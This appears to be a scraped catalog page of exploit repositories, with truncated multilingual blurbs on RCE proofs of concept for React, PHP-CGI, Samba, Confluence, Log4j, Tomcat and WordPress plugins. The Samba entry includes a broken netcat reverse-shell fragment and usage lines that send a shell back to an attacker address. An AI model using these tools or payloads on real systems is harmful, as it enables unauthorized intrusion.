isf

Industrial Exploitation Framework ISFIndustrial Exploitation Framework is a exploitation framework based on Python, it's similar to metasploit framework. ISF is based on open source project routersploit. Read this in other languages:English, 简体中文, Disclaimer Usage of ISF for attacking targets...

CVE-2025-55182-React-RCE

CVE-2025-55182-React-RCE Introdução e Princípios do Projeto Primeiro exploit do mundo para CVE‑2025‑55182 React Server RCE que pode contornar a detecção WAF ao aproveitar recursos específicos do RSC. The world’s first CVE‑2025‑55182 React Server RCE exploit that can bypass WAF detection by...

CVE-2024-4577-PHP-RCE

CVE-2024-4577-PHP-RCE Descrição do Projeto e Princípio Primeiro exploit do mundo para a vulnerabilidade CVE-2024-4577 PHP-CGI RCE usando o ambiente PHP padrão XAMPP. O primeiro exploit do mundo para CVE-2024-4577 PHP-CGI RCE utilizando o ambiente PHP padrão. Compartilhando exploit original, supor...

Exploit-CVE-2021-21086

CVE-2021-21086 Exploit Dieses Exploit ermöglicht es, einen Shellcode im Kontext des Rendering-Prozesses von Adobe Acrobat Reader DC 2020.013.20074 und früheren Versionen unter Windows 10 auszuführen. Hinweis: Der in diesem Beispiel verwendete Shellcode öffnet einen Rechner. Damit es funktioniert,...

CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion 2018 RCE Questo repository contiene il mio codice exploit per la vulnerabilità RCE in Adobe ColdFusion 2018. Descrizione dell'Exploit L'exploit invia una richiesta POST contenente una reverse shell JSP a...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f Utilizzo root@kitploit: Exploit target 10.129.232.46 on port 445, send back reverse shell to 10.10.14.82 on port 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 With custom rport and lport python3 CVE-2007-2447.py...

SDT_CW3B1_rce

SDTCW3B1rce CVE-2021-46422 Installazione root@kitploit: git clone https://github.com/xanszZZ/SDTCW3B1rce cd SDTCW3B1rce Utilizzo Poiché questo strumento è una PoC scritta secondo le specifiche di sviluppo del framework pocsuite3 Prima dell'uso, scaricare pocsuite3 Indirizzo del progetto...

ATLASSIAN-Confluence_rce

ATLASSIAN-Confluencerce CVE-2022-26134 Installation root@kitploit: git clone https://github.com/xanszZZ/ATLASSIAN-Confluencerce cd ATLASSIAN-Confluencerce Verwendung Da dieses Tool ein POC ist, das gemäß den Entwicklungsrichtlinien des pocsuite3-Frameworks erstellt wurde, laden Sie bitte vor der...

CVE-2025-1974

CVE-2025-1974 3ª turma da Whitehat School - Kim So-eun @salt318 https://github.com/salt318/vulhub Resumo Causado por uma falha no Ingress-NGINX Admission Controller, um mecanismo de segurança central do Kubernetes. O Ingress-NGINX Admission Controller está exposto na rede sem autenticação. Isso...

CVE-2026-4885

CVE-2026-4885 Piotnet Addons for Elementor Pro = 7.1.70 - Caricamento File Arbitrario Non Autenticato → RCE Descrizione : Il plugin Piotnet Addons for Elementor Pro per WordPress è vulnerabile al caricamento arbitrario di file a causa della mancanza di validazione del tipo di file nella funzione...

CVE-2026-4883

CVE-2026-4883: Piotnet Forms Pro = 2.1.40 - Nicht authentifizierter beliebiger Datei-Upload → RCE Die Schwachstelle resultiert aus unzureichender Dateityp-Validierung in der Funktion piotnetformsajaxformbuilder. Das Plugin verwendet eine unvollständige Erweiterungs-Blacklist, die nur php, phpt,...

CVE-2026-4882

CVE-2026-4882 User Registration Advanced Fields = 1.6.20 - Caricamento Arbitrario di File Non Autenticato Descrizione : User Registration Advanced Fields = 1.6.20 - Caricamento Arbitrario di File Non Autenticato Il plugin User Registration Advanced Fields per WordPress versioni fino alla 1.6.20...

CVE-2025-49071

CVE-2025-49071 Flozen 1.5.1 - Caricamento Arbitrario di File Non Autenticato Descrizione: Flozen Theme 1.5.1 - Caricamento Arbitrario di File Non Autenticato Descrizione Il tema Flozen per WordPress versioni fino alla 1.5.1 inclusa è vulnerabile al caricamento arbitrario di file non autenticato, ...

CVE-2021-42013-ApacheRCE

CVE-2021-42013-ApacheRCE...

CVE-2019-0193

CVE-2019-0193 Esecuzione remota di codice...

CVE-2023-30547

CVE-2023-30547 PoC Exploit per la vulnerabilità di fuga dalla sandbox VM2 alt img Descrizione vm2 3.9.17 è vulnerabile all'esecuzione arbitraria di codice a causa di un difetto nella sanitizzazione delle eccezioni. Gli attaccanti possono sfruttarlo innescando un'eccezione host non sanificata...

CVE-2019-13025

Connect Box CH7465LG CVE-2019-13025 Informazioni Questo repository contiene due PoC per il Connect Box CH7465LG con firmware CH7465LG-NCIP-6.12.18.24-5p8-NOSH o precedenti. Per maggiori informazioni, dai un'occhiata al mio blog. Utilizzo Esecuzione Remota di Codice non Autenticata $ python3...

CVE-2025-24813

Descrizione Questo repository fornisce l'ambiente per la riproduzione della recente RCE CVE-2025-24813 su Tomcat. Solo per scopi di studio e ricerca! Condizioni di sfruttamento L'applicazione ha abilitato la funzione di scrittura di DefaultServlet, disabilitata per impostazione predefinita...

CVE-2021-44228-Log4j-JNDI

Zugriff Nach dem Start des Projekts aufrufen: http://127.0.0.1:9090/vul Reproduktion der Schwachstelle JDK-Version: java8u92 vermeide zu hohe Versionen, es wird empfohlen, dieselbe wie ich zu verwenden, höhere Versionen haben gewisse Einschränkungen für JNDI-Injection root@kitploit: java -jar...

CVE-2025-50286

Grav Admin Direct Install RCE CVE-2025-50286 Metasploit-Modul und Laboraufbau für authentifizierte Remote-Codeausführung über die Direct-Install-Funktionalität des Grav-Admin-Plugins. Übersicht CVE: CVE-2025-50286 Impact: Authentifizierte RCE Vektor: Admin-Panel → Direct Install Ergebnis: Beliebi...